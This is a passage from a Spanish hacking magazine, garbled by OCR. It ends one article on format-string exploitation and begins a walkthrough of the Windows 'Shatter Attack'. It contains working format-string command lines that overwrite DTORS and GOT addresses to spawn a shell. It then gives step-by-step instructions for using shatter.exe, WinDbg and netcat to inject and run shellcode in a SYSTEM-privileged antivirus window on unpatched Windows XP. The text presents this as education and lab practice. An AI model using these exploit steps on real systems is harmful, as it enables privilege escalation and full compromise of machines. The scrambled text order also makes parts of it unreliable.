1 escritura: Direccin 0x0804963c,
relleno 0x13 0x10 = 0x03 (15 decimal)
2 escritura: Direccin 0x0804963d,
relleno 0xFB 0x13 = 0xE8 ( 232
decimal)

39

tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x3c\x96\x04\x08\x3d\x96\x04\x08\x3e\x96


\x04\x08\x3f\x96\x04\x08"`%3x%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n"
<=>?bffffadc 4 0 804963c
i en 0x8049560 : fffffffc
Violacin de segmento
tuxed@zeus:~/art3$

Listado 18
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x3c\x96\x04\x08\x3d\x96\x04\x08\x3e\x96
\x04\x08\x3f\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n"
<=>? 40 804963c
i en 0x8049560 : fffffffc
sh-3.00$

Listado 19

curityfocus.com/archive/1 y realizar una


bsqueda por format strings, a ver
qu encontris ;-) ). En dicho caso, tu
red podra haber sido totalmente
comprometida, por un fallo tan tonto
como no usar adecuadamente las
cadenas de formato.
Ahora que ya hemos hablado de los
destructores, vamos a repasar en la
siguiente seccin cmo conseguir la
ejecucin de nuestra shellcode mediante
la modificacin de la GOT.

tuxed@zeus:~/art3$ objdump -R ejemplo3


ejemplo3:

formato del fichero elf32-i386

DYNAMIC RELOCATION RECORDS


OFFSET TYPE VALUE
0804965c R_386_GLOB_DAT

__gmon_start__

08049650 R_386_JUMP_SLOT __libc_start_main


08049654 R_386_JUMP_SLOT printf
08049658

R_386_JUMP_SLOT

strcpy

tuxed@zeus:~/art3$

Listado 20
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96
\x04\x08\x57\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n"
sh-3.00$

Listado 21
3 escritura: Direccin 0x0804963e,
relleno 0xFF 0xFB = 0x04 ( 4 decimal)
4 escritura: Direccin 0x0804963f,
relleno 0x1BF 0xFF = 0xC0 (192
decimal)
Ahora, con estos clculos en mano, solo
nos falta armar la cadena de formato.
Espero que tanto los clculos de arriba
como la cadena sea perfectamente
comprendida. Si no es as, vuelve a leer
el apartado en el que se habla del
m t o d o p a ra e s c r i b i r va l o r e s e n
memoria, y si an as no lo entiendes,
psate por el foro y te lo intentaremos
explicar de otro modo :-).
Bueno, pasemos a la ejecucin de
nuestro plan:(ver listado 18)
Wo w ! ! Y e s o ? ? ? o _ 0 ! ! Va l e ,
tranquilidad, pensemos un poquito ;-).
Como se ha explicado al introducir el
campo de padding de los modificadores
de formato, este especifica nicamente
el ancho mnimo de un campo, y esto

40

es importante. Si miramos en la salida


anterior, vemos que lo que ha escrito
dicho campo es el valor bffffadc, que si
contamos son 8 caracteres, con lo que
nos ha desmontado la fiesta... As pues,
qu hacemos? Pues vamos a cambiar
el %3x por algo que escriba los 3
caracteres que queremos. Por ejemplo,
% 3c escribir 3 caracteres, pues leer
uno solo ( %c ), y lo rellenar con
espacios. As, si todo va bien, tendremos
nuestra shell :-) :(listado 19)
Yuuhuuu!! Ya hemos logrado ejecutar
nuestra shellcode con los privilegios del
proceso ejemplo3. En este caso ha sido
ejemplo3, pero imagina que hubiese
sido una aplicacin importante en tu
sistema/red, como por ejemplo un
servidor de mail, o un determinado
proxy que uses (en bugtraq ltimamente
ha habido noticias sobre varias vulnerabilidades de cadenas de formato, en
programas como hashcash o snmppd
para linux, o cierto servidor de mail
para windows. Para los interesados,
podis mirar en http://www.se

Bien, esta seccin es ms bien de repaso


del nmero anterior, pues si lo has ledo
ya sabrs qu es la GOT y como
aprovecharse de ella para conseguir la
ejecucin de la shellcode. Sin embargo,
como ya he explicado antes, voy a volver
a mencionarlo por si alguien se perdi
el artculo anterior, pero realizando las
modificaciones con cadenas de formato
esta vez.
Bueno, y qu es la GOT? La GOT es una
seccin de los ejecutables ELF que
contiene las direcciones de las funciones
de otras libreras ejecutadas por nuestro
programa. Esta seccin, como habrs
podido notar en la salida del comando
objdump -h ejemplo3 realizada en el
apartado anterior del artculo, no est
marcada como READONLY, y por tanto
nada nos impide modificarla.
As pues, cmo vemos el contenido de
la seccin GOT? Pues una vez ms, con
ayuda de la utilidad obdjump. Ejecutando la orden objdump -R nuestro_ejecutable veremos todas las funciones de la GOT de nuestro ejecutable.
Vemoslo con ejemplo3: (listado 20)
Bien, aqu vemos que este programa
solamente utiliza cuatro funciones, dos
de ellas utilizadas para iniciar el
programa, y las dos de las libreras que
hemos puesto nosotros en el cdigo:
strcpy() y printf(). Vemos a la izquierda
la direccin de memoria donde se
almacena la direccin de las funciones.
En el caso de printf, vemos que su
direccin se encuentra en 0x08049654,
as que ya sabemos qu direccin vamos
a sobrescribir, y con qu, pues ya
tenemos la shellcode en memoria :-).

Como la shellcode est en el mismo sitio


de antes, los clculos nos valen. Sin
embargo, variaran las direcciones de
memoria, pues en lugar de empezar en
0x0804963c, esta vez tenemos que
empezar en 0x08049654. As, como ya
tenemos claro cual es la cadena de
formato que tenemos que poner,
pasamos a la ejecucin de nuestro plan:
(listado 21)
Una vez ms, como puedes observar,
hemos conseguido ejecutar nuestra
shellcode con los privilegios del
programa atacado :-). Por tanto, con
ste ya sabemos dos mtodos para
poder ejecutar cdigo arbitrario (una
shellcode) en un proceso que realice un
mal uso de las cadenas de formato.

Con este artculo llega a su fin esta


pequea serie de artculos sobre
explotacin de errores de programacin
iniciada en el nmero 27 de esta revista.

Con estos tres artculos he intentado


que podis entender a qu se deben
varios tipos comunes de vulnerabilidades
que estn a la orden del da, que
entendis cmo se pueden explotar y
porqu, y veis lo peligroso que puede
resultar un error en la programacin de
vuestras aplicaciones.
Espero haber conseguido que a partir
de ahora, cuando programis una
aplicacin que deba funcionar en un
entorno de produccin, en algn lugar
crtico donde pueda recibir ataques,
tengis muy en cuenta la seguridad y
la necesidad de validar los datos de
entrada de los usuarios. Si no lo tenemos
en cuenta, podemos ser vctimas de
ataques que, como ya habis podido
comprobar a lo largo de estos artculos,
comprometan totalmente nuestros
sistemas. Por ello os invito a que leis
algn texto sobre programacin segura
para poder evitar todo esto.

entender mejor el funcionamiento de


vuestro sistema, y hayis adquirido unas
bases que os ayuden a comprender el
porqu de nuevas vulnerabilidades, y
con unos pocos conocimientos de C y
C++, podis entender el funcionamiento
principal de los exploits que circulan por
ah, y sepis como podis protegeros
de ellos.
Sin ms, espero que estos tres artculos
hayan sido de vuestro agrado, y hayis
disfrutado tanto como lo he hecho yo
aprendiendo y experimentando acerca
de estos temas. De nuevo os invito a
acercaros al foro de esta revista
(http://www.hackxcrack.com/phpBB2)
a compartir vuestras dudas con todos
los usuarios del foro, y a aprender juntos
:-).
Hasta la prxima.

Eloi S.G.
(a.k.a. TuXeD)

Adems, espero que con esto podis

CONSIGUE LOS NMEROS


AT R A S A D O S E N :

En esta seccin viajaremos al pasado, abrimos la puerta del desvn, sacudiremos el polvo de
algunos bugs y exploits que por su singularidad y forma de actuar dejaron al descubierto la
fragilidad de nuestros ordenadores personales, de nuestros sistemas de proteccin y de todo
aquello en lo que confibamos.

1) Explicar claramente y sin demasiados


tecnicismos el agujero de seguridad que sea el
objeto de cada artculo.
2) Revisar algunos de los "white papers"
que fueron publicados en su momento, para ello
haremos una traduccin - no literal, si no ms
bien adaptada a cada caso/tcnica
3) Llevar a la prctica y con ejemplos guiados
la "discusin" de los White Papers, a nuestro
estilo, paso a paso...
Lo que no encontraris en estos artculos ser "el ltimo
grito", bugs-exploits del tipo 0-days, todo lo contrario, en
su mayor parte estn tapados, cerrados y a buen recaudo,
slo equipos sin las correspondientes actualizaciones de
seguridad sern vulnerables a dichos ejemplos.
Pe r o e s t o l t i m o n o h a d e d e s a n i m a r a l l e c t o r,
contrariamente a lo que muchos de vosotros podis llegar
a pensar: ".... bahhh!!! para qu un artculo dedicado al
"hack" con informacin obsoleta y desfasada? ..." pues
se me ocurren varias respuestas:

si lo aplicamos a nuestro objetivo: Esta seccin te permitir


avanzar, mirar al frente porque sers conocedor del pasado
y tienes bien aprendida la leccin.
R: Muchos de los artculos de esta seccin son "el poso"
con el que muchas de las tcnicas y tcticas "nos asaltan",
en muchas ocasiones virus y cdigo daino se aprovechan
de estas situaciones y no son otra cosa ms que la
automatizacin de las mismas.
Se me ocurren varias razones ms, pero creo que con
stas es suficiente para dar rigor y fundamento a esta
serie, pero RECUERDA: no es oro todo lo que reluce, en
ocasiones tendremos que provocar expresamente la
existencia de la vulnerabilidad para que pueda ser
explotada, en definitiva, esta serie de artculos no dejaran
de ser "prcticas de laboratorio":
qu mejor para nuestros fines que convertirnos en un
banco de pruebas?
qu mejor para nuestros fines que llevar la investigacin
a nuestras casas?

R: quin no ha deseado CONOCER y ENTENDER esas


formas singulares de acceso o debilidades manifiestas?

qu mejor para nuestros fines que convertir un viejo


PC o una particin de nuestro disco o una mquina virtual
en un quirfano, en una sala de operaciones en la que
seremos el cirujano jefe teniendo el control de todos los
procesos?

R: Como se dice habitualmente, "Los pueblos que no


conocen su pasado estn abocados a repetir su Historia",

stas son otras tres de las razones por las que nos
aventuramos a esta nueva seccin de la que vosotros

42

tendris la ltima palabra, la continuidad


de la misma es cosa vuestra, de vuestra
aceptacin e inters... no queremos
hacerla "una seccin fija", ms bien
habitual o peridica, no permanente...
aunque tambin en esto vuestra es la
ltima palabra... y ahora no me enrollo
ms...
Dicho todo lo anterior... Por dnde
comenzamos? Por cual? Quien
ser nuestro primer banco de
pruebas?
Es tarea difcil, es tan abrumadora la
cantidad de informacin, documentos y
listas de seguridad que quizs es ms
difcil elegir uno que redactar este
artculo.... pero entre todos ellos escog
uno que bien podra ser el ttulo de este
artculo: Windows vulnerable por ser
Windows.
La frase es ingeniosa donde las haya,
Windows vulnerable por ser
Windows...ya me hubiese gustado ser
su autor.
Se trata de una tcnica basada en el
llamado "Shatter Attack", explotando
A P I W i n 3 2 p a ra l a e s c a l a d a d e
privilegios.
En palabras llanas... Obtener una lnea
de comandos (shell del sistema) con el
mximo de privilegios y hacernos con
el control total de una mquina
Windows 2000/XP (sin parchear,
claro)
La eleccin de que haya sido ste y no
otro tampoco es casual, desde hace un
tiempo, en esta nueva era de HxC los
redactores de la revista han ido
ensendonos las shellcode, gracias
TuXeD, y en el ltimo nmero aparece
un artculo de autor annimo que
demuestra lo sencillo que es engaar a
un antivirus que base su deteccin en
el mtodo de firmas o que su poder
heurstico sea cuanto menos discutible,
mis ms sinceras felicitaciones a su
autor y a su mtodo RiT.
No es casual la aparicin de este texto
como dije antes... no lo es porque en
el mismo haremos de l la necesidad
de ejecutar una shellcode en una

porcin de memoria para entregarnos


esa sesin privilegiada y lo haremos
gracias a un antivirus, o a un firewall,
o a cualquier proceso que corra en
nuestra mquina con privilegios
superiores a los que disponemos,
utilizaremos un debugger, etc. vamos,
que va como anillo al dedo de lo que se
ha ido explicando y desarrollando hasta
ahora, no es casual, no... cuando le
ese artculo de cmo burlar al antivirus
me vino a la memoria este caso que en
su momento provoc respuestas de
Microsoft del tipo "Eso no es una
vulnerabilidad....." hasta que se dio
cuenta de que SI lo era.
Esta es una vulnerabilidad bien conocida,
y al mismo tiempo no muy.... bueno,
no tienes ms que darle al botn de
buscar de nuestros foros (
http://www.hackxcrack.com/phpBB2/
search.php ) y escribe la palabra shatter
como criterio de bsqueda.... slo dos
mseros post.... no era casual haber
elegido empezar por este bug... ya van
tres.

"Hacia mediados del ao 2002, Chris


Paget, un experto britnico, hizo pblico
un informe conocido como "Shatter
Attacks - How to break Windows", que
describa fallos fundamentales en el
diseo de Windows, y que se basan en
la manera de funcionar de las APIs
(Application Program Interface), un
conjunto de rutinas que un programa
de aplicacin utiliza para solicitar y
efectuar servicios de nivel inferior
ejecutados por el sistema operativo."
As comenzaba una alerta de
vsantivirus en el ao 2003 (UN AO
DESPUS), podis consultar el texto
ntegro en: http://www.vsantivirus.com
/shatter-attack.htm
Haciendo un resumen de lo expuesto,
el asunto es que Paget abri al mundo
una nueva forma en la que un usuario
sin privilegios puede llegar a sacar
provecho de esta vulnerabilidad y
asignarse a si mismo los mximos
privilegios del sistema atacado, el status
de LocalSystem, el nivel superior al
del administrador.

Para ello es necesario que Windows


est ejecutando una aplicacin (servicio
interactivo) que requiera de un nivel de
LocalSystem (ejecucin local con los
mximos privilegios), esto no es nada
difcil, muchos Antivirus, cortafuegos y
otras aplicaciones se ejecutan en ese
contexto, el nico requisito es que esas
aplicaciones con privilegios de System,
ofrezcan al usuario sin privilegios un
interfase para que el usuario interacte
con ellos, como por ejemplo un antivirus
y sus tareas programadas, tambin es
preciso que dicha interfase ofrezca algn
control del tipo edit-box (cuadro de
texto donde escribir algo, una contrasea,
una descripcin, una fecha, etc..)
Microsoft public un parche de
seguridad que correga dicho agujero,
pero ms tarde el propio Paget y Oliver
Lavery, investigador de la compaa
iDefense haca pblico otro informe
que promulgaba que dicha vulnerabilidad
segua existiendo a pesar del parche y
que muchos de los productos del
mercado eran susceptibles de usarse
mediante la tcnica descrita por Paget.
Microsoft se mantuvo en sus principios
y anunciaba que no era una vulnerabilidad como tal, no poda explotarse
de forma remota y precisaba del acceso
fsico a la mquina afectada, por ello le
rest importancia y durante varios
(muchos) meses ms, siguieron al descubierto nuestros equipos.
Podis seguir por completo las explicaciones en: http://www.vsantivirus.com/13-08-02.htm
Como bien dice en esos artculos, virus
y troyanos pueden aprovecharse de esta
circunstancia (y aunque Microsoft deca
que no era "importante", creo yo desde
mi modesta opinin, que un virustroyano que se instale en tu mquina y
entregue una shell remota a un individuo
cualquiera, no deja de ser un GRAVE
problema, es cierto que se precisa de
acceso local, como afirmaba
Microsoft... pero de eso se ocuparon
los virus y troyanos... Windows se
ocupaba del resto.
Obviamente el "problema" no es/era la
denominada "Shatter Attack", si no el
virus que nos llega por correo que se

43

aprovecha de la situacin... y digo yo...


Es que Microsoft no llega a eso?,
sorprendente....
El documento original que Paget
d e s a r r o l l e n : h t t p : / / s e c u r i t y.
tombom.co.uk/shatter.html
Y la ampliacin por Oliver Lavery:
http://www.packetstormsecurity.org/p
apers/Win2000/Shatter_Redux.pdf
Bueno, hablemos de forma ms
sencilla... esto en qu consiste?
Pues simplemente en encontrar un
proceso "vulnerable" que se ejecute con
privilegios de System y en el que el
usuario pueda interactuar con l, en el
que pueda "rellenar" algn campo de
tipo texto slo que en lugar de escribir
en ese campo un texto "normal" escriba
en el mismo una shellcode (que no es
otra cosa que un programa que nos
enviar una lnea de comandos), como
la aplicacin "vulnerable" se ejecuta con
privilegios de System, la shellcode
nos enviar una shell con idnticos
privilegios.

Pues por la forma en que Windows


est diseado... Cuando Windows abre
una ventana y el usuario la utiliza, los
llamados "mensajes de Windows"
envan informacin acerca de lo que el
usuario hace: un clic, la pulsacin de
teclas, el movimiento del ratn, etc...
hasta aqu todo normal, como ha de
ser... slo que el diseo de Windows no
e s t a b a p r e p a ra d o p a ra d o t a r d e
seguridad la comunicacin entre
ventanas, me explico:
Cualquier ventana puede enviar a otra
cualquier mensaje (entindase mensaje
como las acciones que el usuario efecta
como ya se dijo antes) de tal forma que
si construimos una aplicacin que sea
capaz de enviar a una ventana
desplegada por Windows algn tipo
de mensaje "malicioso", la ventana
receptora no valida la seguridad de la
comunicacin... simplemente carga ese
cdigo en la porcin de memoria que
tiene asignada.

44

Como estars intuyendo, si somos


capaces de enviar una shellcode a una
ventana desplegada por el Sistema con
privilegios superiores a los que
disponemos, slo nos har falta conocer
la direccin de memoria del inicio de la
shellcode para poder ejecutarla, debido
a que Windows no chequea el origen
del mensaje, si una ventana le dice a
otra que haga "tal cosa", obedecer, lo
que deca el artculo de vsantivirus...
Windows Vulnerable por ser
Windows.
Vamos a aplicar en este artculo las
tcnicas descritas por Pager y
necesitaremos para nuestra prctica:
Una aplicacin capaz de enum e ra r v e n t a n a s , o b t e n e r s u
posicin y capaz de enviar los
mensajes necesarios, esto nos lo
brinda Paget: http://security.
tombom.co.uk/shatter.zip
Una aplicacin que se ejecute
con privilegios de System, Paget
en su documento original, lo hace
con un antivirus llamado
VirusScan v4.5.1 corriendo en
un Windows 2000 Professional,
Oliver Lavery lo demuestra con
vnc, nosotros vamos a usar un
Windows XP Professional y una
versin de Norton, a la cual de
forma intencionada la hacemos
correr al inicio del sistema como
proceso con privilegios de System,
esto es importante remarcarlo,
puesto que Norton Corporate no
funciona as... hemos obligado al
antivirus a correr de forma
privilegiada,
El bloc de notas de Windows...
eso viene de serie... notepad.exe
Un debugger cualquiera, para
seguir con las explicaciones de
Paget, usaremos el Win
Debugger: http://www. microsoft.
com/whdc/devtools/ddk/default.
mspx

la misma que usa el exploit Jill,


la encontraris en el mismo zip de
http://security.tombom.co.uk/sh
a t t e r. z i p c o n e l n o m b r e d e
sploit.bin
Opcionalmente herramientas que
listen procesos como pslist de
sysinternals, o del propio kit de
recursos, como estamos usando
un XP nos bastar con el
administrador de tareas, tambin
si se desea alguna herramienta
que nos muestre el usuario que
somos y/o a los grupos que pertenecemos... del tipo whoami.exe
del Kit de recursos.
Si mantienes tu antivirus actualizado,
probablemente te reconocer el archivo
shatter.zip o shatter.exe (una vez
descomprimido) como un virus... si es
as desactvalo, no te preocupes, nada
malo ocurrir... aunque como dije al
principio, lo mejor ser que uses un
sistema de pruebas... ya sabes... lo del
laboratorio de investigacin...

1.- Localizar una ventana de la


aplicacin (para el caso que nos
concierne el antivirus) que corra
como LocalSystem que
disponga de una caja de texto
donde poder escribir la
shellcode y obtener el
"manejador" de ventana.
2.- Eliminar las posibles
restricciones que afecten a la
caja de texto, como puede ser
la longitud mxima de
caracteres que puede albergar.
3.- Pegar en la caja de texto el
cdigo binario del programa a
ejecutar (la shellcode)

Nuestro bien amado netcat...

4.- Averiguar la posicin de


memoria en que se peg la
shellcode y ejecutarla.

Una shellcode, usaremos la


misma que Paget utiliza en su
ejemplo, por Dark Spyrit! que es

Parece sencillo... y adems son pocos


pasos :P

Antes de comenzar con el ejemplo real,


hagamos algunas pruebas y preparemos
todas nuestras herramientas:
Primero vamos a probar con la cuenta
del administrador, es decir, como es un
banco de pruebas vamos a seguir la
prctica como administradores del
sistema e instalamos todo lo necesario:
Descomprimimos el archivo que nos
b a j a m o s d e h t t p : / / s e c u r i t y.
t o m b o m . c o . u k / s h a t t e r. z i p y l o
almacenamos en una carpeta cualquiera, crearemos una carpeta llamada
HXCShatter y en ella colocaremos gran
parte de lo necesario, a saber:

Ahora abriremos una shell (inicioejecutar-cmd) accedemos a la carpeta


H X C S H A T T E R y ve a m o s q u i e n e s
somos:(pantalla 2)
Bien, vemos que pertenecemos al grupo
de administradores (y muchos otros)

Aceptamos y buscamos el proceso del


antivirus que corre con privilegios de
System, en esta ocasin se trata del
proceso nmero 356 cuyo nombre
es vpc32.exe, ni que decir tiene que
en t sistema probablemente sea otro
proceso o si no usas el mismo antivirus
tambin ser otro nombre.(pantalla 4)

Pulsamos CTRL+ALT+Supr y accedemos al administrador de tareas y


en el men de ver elegimos
seleccionar columnas y marcamos
la casilla de identificador de proceso
(PID)(ver pantalla 3)

El archivo shatter.exe
El archivo nc.exe (netcat)
El archivo whoami.exe (del kit
de recursos para conocer quienes
somos)
El archivo sploit.bin
renombrado como sploit.txt (no
es preciso cambiarle la extensin,
pero as lo podremos abrir directamente con el bloc de notas sin
ms)
Quedar ms o menos as:(pantalla1)

Pantalla 4. Identificacin del proceso


privilegiado vpc32.exe
A h o ra e j e c u t a m o s e l p r o g r a m a
s h a t t e r . e x e d e n u e s t ra c a r p e t a
HXCSHATTER (pantalla 5)

Pantalla 3. Seleccin de columnas en


el administrador de tareas

Pantalla 1. Contenido de la carpeta HXCSHATTER

Pantalla 5. Ejecucin del programa


shatter.exe
Pantalla 2. Resultado de la ejecucin de whoami.exe

Por el momento no explicaremos qu


hacen los botones y los parmetros que
hay que poner en las casillas de texto
correspondiente.
Ahora abrimos el proceso del
antivirus que corre como system, el
vpc32.exe (ver pantalla 6).
Ahora seguimos los pasos descritos, el
mtodo divulgado por Paget se resume
en cuatro fases y nos toca la primera
de ellas:

45

descripcin del mismo si lo desea


(pantalla 8).
La segunda parte de este primera fase
es obtener "el manejador" de
ventana... eso es simplemente el
identificador de ventana, como
Windows puede usar varias ventanas
al mismo tiempo en una misma sesin,
a cada una se le entrega un identificador
nico, algo parecido al PID de los
procesos pero aplicado a las ventanas,
de tal forma que cuando el usuario
interacta con la ventana abierta se
envan los eventos y mensajes de
usuario junto con el manejador (el
nmero) que corresponde a dicha
ventana.

Pantalla 6. Ejecucin del antivirus, proceso vpc32.exe


como LocalSystem que disponga de
una caja de texto donde poder
escribir la shellcode y obtener el
"manejador" de ventana.
Localizar la ventana es sencillo, si
hacemos un repaso por las opciones

Pantalla 7.- Nueva tarea para el antivirus

Para conseguir ese valor, usaremos el


programa shatter.exe que ya tenemos
en ejecucin, pulsamos en el botn
Enumerate windows y desplazamos
el deslizador que hay a la derecha
encontraremos el/los identificadores de
ventana de Norton... algo as:(ver
pantalla 9)

que nos brinda el antivirus, descubrimos


que en el men Edit-New Startup
Scan nos aparecer una serie de cajas
de texto en donde escribir lo que espera
el antivirus de nosotros(pantalla 7)

Pantalla 9. Enumeracin de las ventanas


activas
Alguno de esos valores son los que se
corresponden con las casillas Name y
Description, no hay que ser muy ducho
para averiguarlas:
1402a6 - name
1b0262 - description

Pantalla 8. Localizacin de una ventana con cajas de texto en el antivirus

Localizar una ventana de la


aplicacin (para el caso que nos
concierne el antivirus) que corra

46

Disponemos de dos cajas de texto


(name y Description) en donde se
supone que el usuario escribir un
nombre para el escaneo a realizar y una

Pero realmente no son esos... esos


corresponden a los identificadotes de
las etiquetas que muestran las palabras
name y description, no a las cajas
de texto... es decir, los que nos
interesan son justamente los que
hay una posicin por debajo de ellas,
concretamente:

1402a2 y 1b0266
Tambin podemos usar el botn de Get
Cursor window, esto es ms cmodo
puesto que nos responder exactamente
con el identificador de ventana en donde
hagamos clic, vemoslo... explicarlo
mediante palabras escritas es ms difcil
que hacerlo...
Vamos a poner las dos ventanas "al
alcance", as:(pantalla 10)
Como ves, la ventana de shatter est
por encima de la del antivirus... y
pulsamos en el botn Get Cursor
window(pantalla 11)

Pantalla 10. Averiguar el identificador mediante Get Cursor window (parte I)

Aparece 240376 en mi ejemplo... pero


ese es el manejador del propio
shatter, ahora desplazamos el cursor
del ratn sobre "el trocito" de la casilla
de texto correspondiente a Description
que se ve por detrs y una vez hayamos
alcanzado el rea en blanco de la caja
de texto, pulsaremos enter(pantalla
12)

El identificador de ventana es el
1b0266 que es el mismo que
"suponamos" antes, elige el mtodo
que ms te guste... pero recuerda no
hacer clic por ningn sitio una vez
pinchado en el botn Get Cursor
Window o tendrs que repetirlo...

Pantalla 11. Averiguar el identificador mediante Get Cursor window (parte II)

Ahora que ya tenemos el nmero


correspondiente al manejador, lo escribimos en Handle (DWORD) dentro
del programa shatter:(pantalla 13)
Vale ya sabemos para que sirven dos
de los seis botones del programa
shatter y tambin conocemos que en
handle hay que escribir el identificador
de la ventana a la cual queremos
acceder.
Ahora abriremos el bloc de notas y
escribe lo que se te ocurra... a m se
me ocurri esto:(pantalla 14)
Y aunque parezca estpido, seleccionas
todo y pulsas ctrl+c (copiar) regresa
al programa shatter y pulsa en el botn
VM_PASTE.

Pantalla 12. Averiguar el identificador mediante Get Cursor window (parte III)

47

Si miras en el Antivirus... SORPRESA!!!!


(pantalla 15)
Se ha copiado ... a continuacin del
texto que ya exista, pulsemos varias
veces en WM_PASTE (10 12 al
menos)(pantalla 16)
Como ves se ha ido pegando... pero
llega un momento que no nos hace
caso... ya no "pega" ms veces la frase...
por qu?

Pantalla 13. Escribir el identificador


nico de ventana en Handle (DWORD)

Pantalla 14. Probando a escribir cualquier cosa en el bloc de notas

R: Porque la caja de texto donde


estamos enviando el mensaje slo
permite 256 caracteres, si intentamos
escribir ms no nos lo permite y con
esto enlazamos con la segunda fase del
mtodo expuesto por Paget

Eliminar las posibles restricciones


que afecten a la caja de texto, como
puede ser la longitud mxima de
caracteres que puede albergar.
Acabamos de darnos cuenta que nuestra
caja de texto slo admite 256
caracteres... por tanto o le obligamos
a que acepte ms o nos tocar usar una
shellcode de menos de 256
caracteres... no es nuestro caso, la
shellcode que vamos a usar ocupa unos
2K, vamos, que necesitamos romper
esa restriccin.
Volvemos a nuestro bloc de notas,
escribimos un mensaje ms largo...
de ms de 256 caracteres, por
ejemplo:(pantalla 17)
Al igual que antes, seleccionamos todo
y CTRL+C (copiar)
Si intentamos pegar mediante el
botn WM_PASTE no lo har al
completo, se pegarn los 256 primeros
caracteres y el resto no.

Pantalla 15. Observamos los resultado despus de pulsar en WM_PASTE

As que volvamos a nuestro shatter


y en WPARAM (DWORD) escribiremos
.... FFFFFF esto equivale a 16.777.216
que sern los caracteres que vamos a
poder escribir... si te faltan pon ms,
por ejemplo FFFFFFFF unos 4 Gigas...
:P
Pero antes de pulsar de nuevo en
WM_PASTE,
pincha
en
EM_SETLIMITTEXT y "haremos el
hueco necesario", luego ya puedes
pulsar en WM_PASTE y vers que se
pudo escribir ms de 256 caracteres....
todos los que quieras.... :P (pantalla
18)
Bueno, est claro, no?

Pantalla 16. Comprobamos que el espacio disponible es insuficiente

48

Con el botn EM_SETLIMITTEXT


podemos fijar el nmero de
caracteres mximo que una caja de
texto puede almacenar, la cantidad de
caracteres que almacena se define con
el valor hexadecimal que escribamos en
WPARAM (Dword).

Pantalla 17. Probando a escribir un texto de ms de 256 caracteres

Pegar en la caja de texto el cdigo


binario del programa a ejecutar (la
shellcode)
Bien, pues basta de prcticas con

Wadalbertia... vamos a borrar todo


lo que escribimos como Descripcin
y abrimos el archivo sploit.txt que
guardamos en la carpeta HXCSHATTER
hace unos instantes:(pantalla 19)
Seleccion Formato y quit la marca
de verificacin en Ajuste de Lnea,
de esta forma no hay retornos
automticos de lnea y nos aseguramos
que la shellcode no incluye caracteres
no deseados.

Pantalla 18. Comprobamos que ahora s se pegaron ms de los 256 caracteres


permitidos

Pantalla 19. Eliminamos los saltos de lnea no deseados.

Selecciona TODO y cpialo como


hacamos antes... eso incluye la
primera lnea, la que comienza por
FOON (luego explicaremos qu es esto
y para qu sirve)
Ahora ajusta el tamao con FFFFFF
en
WPARAM,
pincha
en
EM_SETLIMITTEXT para permitir la
escritura superior a los 256 caracteres
y por ltimo pulsamos en WM_PASTE
para pegar la shellcode en la ventana
Description del antivirus.
Si revisamos la ventana del Norton se
habr pegado la shellcode enterita :P
(pantalla 20)

Averiguar la posicin de memoria


en que se peg la shellcode y
ejecutarla.

Pantalla 20. La shellcode es enviada a la ventana del antivirus

Para averiguar la posicin exacta de


memoria en donde est la shellcode

49

primera) con la palabra FOON seguida


de "unos cuadraditos"
Esos cuadraditos son NOP's (nada,
no hacer nada, es una instruccin que
no hace nada) concretamente, las letras
FOON y los NOP's suman 1024
caracteres (1K) y a partir de ah est
la verdadera shellcode...

Pantalla 21. Pantalla inicial del progrma WinDbg


Pulsamos F6 que nos permitir
examinar los procesos que se estn
ejecutando en memoria y entre ellos
buscamos el que corresponde a
nuestro antivirus, el vpc32.exe(ver
pantalla 22)
No se te olvide verificar la casilla
Noninvasive como muestra la
pantalla 22... de ese modo no
interferiremos con la ejecucin del
antivirus y/o lo dejaremos fuera de
combate...una vez seleccionado el
proceso en memoria y verificada la
casilla pulsamos en OK

Pantalla 22. Seleccionamos el proceso


vpc32.exe y marcamos no invasivo

Si no aparece nada... selecciona Wiew


en el men y Command (pantalla
23)

Pues FOON es una palabra que nuestro


querido Paget coloc para que se pueda
encontrar rpidamente y as delate el
inicio de la shellcode y podamos buscar
dicha secuencia en el debugger.
Para encontrar la shellcode (la palabra
FOON) pondremos esto en la lnea de
comandos del depurador:
s -a 00000001 10000000 "FOON"

(pantalla 25)
Pulsamos enter... y.... (pantalla 26)
Aparecen dos direcciones de
memoria: 1684f8 y 168c00, tal y
como dice Paget, no tengo ni idea de
porqu aparece dos veces, si no lo sabe
l, tampoco yo... pero no importa,
cualquiera de ellas funcionar y nos
servir, cogeremos la ltima, por
ejemplo.
Tenemos que FOON comienza en la
posicin 0x00168c00 como sabemos
que hasta el comienzo de nuestra
shellcode existen 1024 bytes (las
cuatro letras de FOON y 1020 NOP).

Pantalla 23. Abrir la ventana del depurador y su lnea de comandos


dentro de la caja de texto de la
ventana del antivirus vamos a necesitar
un debugger, lo haremos con
windebugger, una vez instalado lo
ejecutamos: (pantalla 21)

50

Aparecer
algo
esto:(pantalla 24)

parecido

Si recuerdas cuando pegamos la


shellcode, apareca una lnea (la

Para asegurarnos que la shellcode se


ejecuta desde el principio, haremos caer
la ejecucin a partir del byte 512, de
esa forma ejecutar unos cuantos NOPs
antes de comenzar con el verdadero
cdigo, de esa forma sabemos que la
verdadera shellcode se ejecuta desde
el inicio, por tanto le sumaremos 512
bytes (0x200 en hexadecimal) a la
posicin en la que se encuentra la
cadena FOON.
0x00168c00+0x200=0x00168e00

Volvamos a shatter... y escribimos


todo lo que necesitamos:
En WPARAM escribimos el
desplazamiento y en LPARAM la
posicin en la que se empezar a
ejecutar el cdigo de nuestra shellcode,
ahora slo resta pulsar en WM_TIMER
y rezar....
qu es eso del WM_TIMER?

Pantalla 24 Ventana de comandos del depurador.

Pantalla 25. Bsqueda en memoria de la cadena de caracteres "FOON"

Pues un mensaje de Windows que cada


vez que transcurre un determinado
tiempo, se enva un mensaje
WM_TIMER a la ventana y pasa como
parmetro su ID, estos mensajes se
colocan en una especie de cola de
procesos para que sean atendidos y
como Windows no comprueba la
seguridad del mensaje, el resultado es
la ejecucin de la shellcode.
Veamos que ocurri con el netcat qu
dejamos a la escucha.... (pantalla 29)
OHHH !!! se conect.... milagro?
suerte? casualidad? NOOOOO!!! UN
BUG COMO UNA CASA
